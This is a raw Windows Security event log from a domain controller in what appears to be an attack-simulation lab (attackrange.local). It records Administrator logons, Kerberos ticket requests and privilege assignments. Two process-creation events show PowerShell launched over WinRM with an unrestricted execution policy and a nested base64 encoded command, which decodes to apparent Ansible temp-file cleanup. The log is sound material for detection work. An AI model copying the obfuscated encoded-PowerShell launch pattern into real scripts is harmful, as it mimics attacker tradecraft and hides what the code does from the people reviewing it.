Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253267
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19546B

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12cc
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x13f4
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAVQB3AEIAbABBAEgAUQBBAEwAUQBCAFQAQQBIAFEAQQBjAGcAQgBwAEEARwBNAEEAZABBAEIATgBBAEcAOABBAFoAQQBCAGwAQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAegBBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBUAEEAQgBoAEEASABRAEEAWgBRAEIAegBBAEgAUQBBAEMAZwBCAFMAQQBHAFUAQQBiAFEAQgB2AEEASABZAEEAWgBRAEEAdABBAEUAawBBAGQAQQBCAGwAQQBHADAAQQBJAEEAQQBpAEEARQBNAEEATwBnAEIAYwBBAEYAVQBBAGMAdwBCAGwAQQBIAEkAQQBjAHcAQgBjAEEARQBFAEEAWgBBAEIAdABBAEcAawBBAGIAZwBCAHAAQQBIAE0AQQBkAEEAQgB5AEEARwBFAEEAZABBAEIAdgBBAEgASQBBAFgAQQBCAEIAQQBIAEEAQQBjAEEAQgBFAEEARwBFAEEAZABBAEIAaABBAEYAdwBBAFQAQQBCAHYAQQBHAE0AQQBZAFEAQgBzAEEARgB3AEEAVgBBAEIAbABBAEcAMABBAGMAQQBCAGMAQQBHAEUAQQBiAGcAQgB6AEEARwBrAEEAWQBnAEIAcwBBAEcAVQBBAEwAUQBCADAAQQBHADAAQQBjAEEAQQB0AEEARABFAEEATgBnAEEAeABBAEQAUQBBAE4AZwBBAHcAQQBEAEkAQQBOAGcAQQB4AEEARABnAEEATABnAEEANQBBAEQAUQBBAE0AQQBBADUAQQBEAEEAQQBOAEEAQQB0AEEARABnAEEATgB3AEEAMgBBAEQAWQBBAE4AdwBBAHgAQQBEAFUAQQBNAEEAQQB4AEEARABRAEEATQBRAEEAMABBAEQAWQBBAE4AUQBBAGkAQQBDAEEAQQBMAFEAQgBHAEEARwA4AEEAYwBnAEIAagBBAEcAVQBBAEkAQQBBAHQAQQBGAEkAQQBaAFEAQgBqAEEASABVAEEAYwBnAEIAegBBAEcAVQBBAE8AdwBBAEsAQQBFAGsAQQBaAGcAQQBnAEEAQwBnAEEATABRAEIAdQBBAEcAOABBAGQAQQBBAGcAQQBDAFEAQQBQAHcAQQBwAEEAQwBBAEEAZQB3AEEAZwBBAEUAawBBAFoAZwBBAGcAQQBDAGcAQQBSAHcAQgBsAEEASABRAEEATABRAEIAVwBBAEcARQBBAGMAZwBCAHAAQQBHAEUAQQBZAGcAQgBzAEEARwBVAEEASQBBAEIATQBBAEUARQBBAFUAdwBCAFUAQQBFAFUAQQBXAEEAQgBKAEEARgBRAEEAUQB3AEIAUABBAEUAUQBBAFIAUQBBAGcAQQBDADAAQQBSAFEAQgB5AEEASABJAEEAYgB3AEIAeQBBAEUARQBBAFkAdwBCADAAQQBHAGsAQQBiAHcAQgB1AEEAQwBBAEEAVQB3AEIAcABBAEcAdwBBAFoAUQBCAHUAQQBIAFEAQQBiAEEAQgA1AEEARQBNAEEAYgB3AEIAdQBBAEgAUQBBAGEAUQBCAHUAQQBIAFUAQQBaAFEAQQBwAEEAQwBBAEEAZQB3AEEAZwBBAEcAVQBBAGUAQQBCAHAAQQBIAFEAQQBJAEEAQQBrAEEARQB3AEEAUQBRAEIAVABBAEYAUQBBAFIAUQBCAFkAQQBFAGsAQQBWAEEAQgBEAEEARQA4AEEAUgBBAEIARgBBAEMAQQBBAGYAUQBBAGcAQQBFAFUAQQBiAEEAQgB6AEEARwBVAEEASQBBAEIANwBBAEMAQQBBAFoAUQBCADQAQQBHAGsAQQBkAEEAQQBnAEEARABFAEEASQBBAEIAOQBBAEMAQQBBAGYAUQBBAD0A

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253266
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19546B

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x13f4
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x11d0
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAVQB3AEIAbABBAEgAUQBBAEwAUQBCAFQAQQBIAFEAQQBjAGcAQgBwAEEARwBNAEEAZABBAEIATgBBAEcAOABBAFoAQQBCAGwAQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAegBBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBUAEEAQgBoAEEASABRAEEAWgBRAEIAegBBAEgAUQBBAEMAZwBCAFMAQQBHAFUAQQBiAFEAQgB2AEEASABZAEEAWgBRAEEAdABBAEUAawBBAGQAQQBCAGwAQQBHADAAQQBJAEEAQQBpAEEARQBNAEEATwBnAEIAYwBBAEYAVQBBAGMAdwBCAGwAQQBIAEkAQQBjAHcAQgBjAEEARQBFAEEAWgBBAEIAdABBAEcAawBBAGIAZwBCAHAAQQBIAE0AQQBkAEEAQgB5AEEARwBFAEEAZABBAEIAdgBBAEgASQBBAFgAQQBCAEIAQQBIAEEAQQBjAEEAQgBFAEEARwBFAEEAZABBAEIAaABBAEYAdwBBAFQAQQBCAHYAQQBHAE0AQQBZAFEAQgBzAEEARgB3AEEAVgBBAEIAbABBAEcAMABBAGMAQQBCAGMAQQBHAEUAQQBiAGcAQgB6AEEARwBrAEEAWQBnAEIAcwBBAEcAVQBBAEwAUQBCADAAQQBHADAAQQBjAEEAQQB0AEEARABFAEEATgBnAEEAeABBAEQAUQBBAE4AZwBBAHcAQQBEAEkAQQBOAGcAQQB4AEEARABnAEEATABnAEEANQBBAEQAUQBBAE0AQQBBADUAQQBEAEEAQQBOAEEAQQB0AEEARABnAEEATgB3AEEAMgBBAEQAWQBBAE4AdwBBAHgAQQBEAFUAQQBNAEEAQQB4AEEARABRAEEATQBRAEEAMABBAEQAWQBBAE4AUQBBAGkAQQBDAEEAQQBMAFEAQgBHAEEARwA4AEEAYwBnAEIAagBBAEcAVQBBAEkAQQBBAHQAQQBGAEkAQQBaAFEAQgBqAEEASABVAEEAYwBnAEIAegBBAEcAVQBBAE8AdwBBAEsAQQBFAGsAQQBaAGcAQQBnAEEAQwBnAEEATABRAEIAdQBBAEcAOABBAGQAQQBBAGcAQQBDAFEAQQBQAHcAQQBwAEEAQwBBAEEAZQB3AEEAZwBBAEUAawBBAFoAZwBBAGcAQQBDAGcAQQBSAHcAQgBsAEEASABRAEEATABRAEIAVwBBAEcARQBBAGMAZwBCAHAAQQBHAEUAQQBZAGcAQgBzAEEARwBVAEEASQBBAEIATQBBAEUARQBBAFUAdwBCAFUAQQBFAFUAQQBXAEEAQgBKAEEARgBRAEEAUQB3AEIAUABBAEUAUQBBAFIAUQBBAGcAQQBDADAAQQBSAFEAQgB5AEEASABJAEEAYgB3AEIAeQBBAEUARQBBAFkAdwBCADAAQQBHAGsAQQBiAHcAQgB1AEEAQwBBAEEAVQB3AEIAcABBAEcAdwBBAFoAUQBCAHUAQQBIAFEAQQBiAEEAQgA1AEEARQBNAEEAYgB3AEIAdQBBAEgAUQBBAGEAUQBCAHUAQQBIAFUAQQBaAFEAQQBwAEEAQwBBAEEAZQB3AEEAZwBBAEcAVQBBAGUAQQBCAHAAQQBIAFEAQQBJAEEAQQBrAEEARQB3AEEAUQBRAEIAVABBAEYAUQBBAFIAUQBCAFkAQQBFAGsAQQBWAEEAQgBEAEEARQA4AEEAUgBBAEIARgBBAEMAQQBBAGYAUQBBAGcAQQBFAFUAQQBiAEEAQgB6AEEARwBVAEEASQBBAEIANwBBAEMAQQBBAFoAUQBCADQAQQBHAGsAQQBkAEEAQQBnAEEARABFAEEASQBBAEIAOQBBAEMAQQBBAGYAUQBBAD0A

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253265
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19BA88

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253264
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19BA88
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{E6A8EE06-5CA4-8D60-5EBC-6FEBCEAD3845}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253263
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{E6A8EE06-5CA4-8D60-5EBC-6FEBCEAD3845}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253262
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{E6A8EE06-5CA4-8D60-5EBC-6FEBCEAD3845}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253261
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253260
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19BA6C

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253259
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19BA6C

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253258
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19BA6C
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{E6A8EE06-5CA4-8D60-5EBC-6FEBCEAD3845}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253257
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{E6A8EE06-5CA4-8D60-5EBC-6FEBCEAD3845}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253256
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{E6A8EE06-5CA4-8D60-5EBC-6FEBCEAD3845}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253255
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253254
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19B5F5

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253253
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19A372

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253252
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19B5F5

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253251
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19B5F5
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{E6A8EE06-5CA4-8D60-5EBC-6FEBCEAD3845}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253250
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{E6A8EE06-5CA4-8D60-5EBC-6FEBCEAD3845}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253249
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{E6A8EE06-5CA4-8D60-5EBC-6FEBCEAD3845}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253248
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

